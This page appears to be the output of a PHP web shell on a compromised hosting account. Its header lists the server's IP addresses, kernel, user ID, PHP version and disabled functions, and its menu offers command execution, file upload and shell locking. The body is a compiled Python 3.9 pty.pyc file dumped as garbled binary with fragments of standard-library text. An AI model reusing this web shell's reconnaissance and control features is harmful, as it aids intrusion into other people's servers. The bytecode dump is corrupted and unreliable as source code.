Server IP : 82.180.170.48 / Your IP : 216.73.216.153 Web Server : LiteSpeed System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u636808025 ( 636808025) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/../lib64/gio/../libxslt-plugins/../python3.9/__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
---|
a �DOg��@s�dZddlmZddlZddlZddlZgd�ZdZdZdZdZ dd�Z d d �Zdd�Zd d�Z dd�Zdd�Zdd�Zeefdd�Zeefdd�ZdS)zPseudo terminal utilities.�)�selectN)�openpty�fork�spawn��c Cs<z t��WSttfy Yn0t�\}}t|�}||fS)zdopenpty() -> (master_fd, slave_fd) Open a pty master/slave pair, using os.openpty() if possible.)�osr�AttributeError�OSError�_open_terminal� slave_open)� master_fd� slave_name�slave_fd�r�/usr/lib64/python3.9/pty.pyrs rc CsJzt��\}}Wnttfy&Yn0t�|�}t�|�||fSt�S)z�master_open() -> (master_fd, slave_name) Open a pty master and return the fd, and the filename of the slave end. Deprecated, use openpty() instead.)rrr r �ttyname�closer)r rrrrr�master_open"s rc CsldD]Z}dD]P}d||}zt�|tj�}WntyDYqYn0|d||fSqtd��dS)z1Open pty master and return (master_fd, tty_name).ZpqrstuvwxyzPQRSTZ0123456789abcdefz/dev/ptyz/dev/ttyzout of pty devicesN)r�open�O_RDWRr )�x�yZpty_name�fdrrrr2s rcCsnt�|tj�}zddlm}m}Wnty8|YS0z|||d�|||d�WntyhYn0|S)z�slave_open(tty_name) -> slave_fd Open the pty slave and acquire the controlling terminal, returning opened filedescriptor. Deprecated, use openpty() instead.r)�ioctl�I_PUSHZptemZldterm)rrrZfcntlrr�ImportErrorr )Ztty_name�resultrrrrrr>s rc Cs�zt��\}}Wnttfy&Yn20|tkrPzt��WntyNYn0||fSt�\}}t��}|tkr�t��t�|�t� |t �t� |t�t� |t�|tkr�t�|�t� t�t�tj�}t�|�n t�|�||fS)zdfork() -> (pid, master_fd) Fork and make the child a session leader with a controlling terminal.)r�forkptyr r �CHILD�setsidrrr�dup2�STDIN_FILENO� STDOUT_FILENO� STDERR_FILENOrrr)�pidrr rZtmp_fdrrrrPs0 rcCs"|rt�||�}||d�}qdS)z#Write all the data to a descriptor.N)r�write)r�data�nrrr�_writenxsr)cCst�|d�S)zDefault read function.i)r�read)rrrr�_read~sr+cCsv|tg}t|gg�\}}}||vrF||�}|s:|�|�nt�t|�t|vr|t�}|sf|�t�qt||�qdS)z�Parent copy loop. Copies pty master -> standard output (master_read) standard input -> pty master (stdin_read)N)r"r�removerr&r#r))r �master_read� stdin_read�fdsZrfdsZwfdsZxfdsr'rrr�_copy�sr0cCs�t|�td�kr|f}t�d|�t�\}}|tkrJtj|dg|�R�zt�t �}t� t �d}Wntjy~d}Yn0zt|||�Wn&t y�|r�t�t tj|�Yn0t�|�t�|d�dS)zCreate a spawned process.�z pty.spawnrr)�type�sys�auditrrr�execlp�ttyZ tcgetattrr"Zsetraw�errorr0r Z tcsetattrZ TCSAFLUSHr�waitpid)�argvr-r.r%r �modeZrestorerrrr�s& r)�__doc__rrr3r6�__all__r"r#r$rrrrrrr)r+r0rrrrr�<module>s$(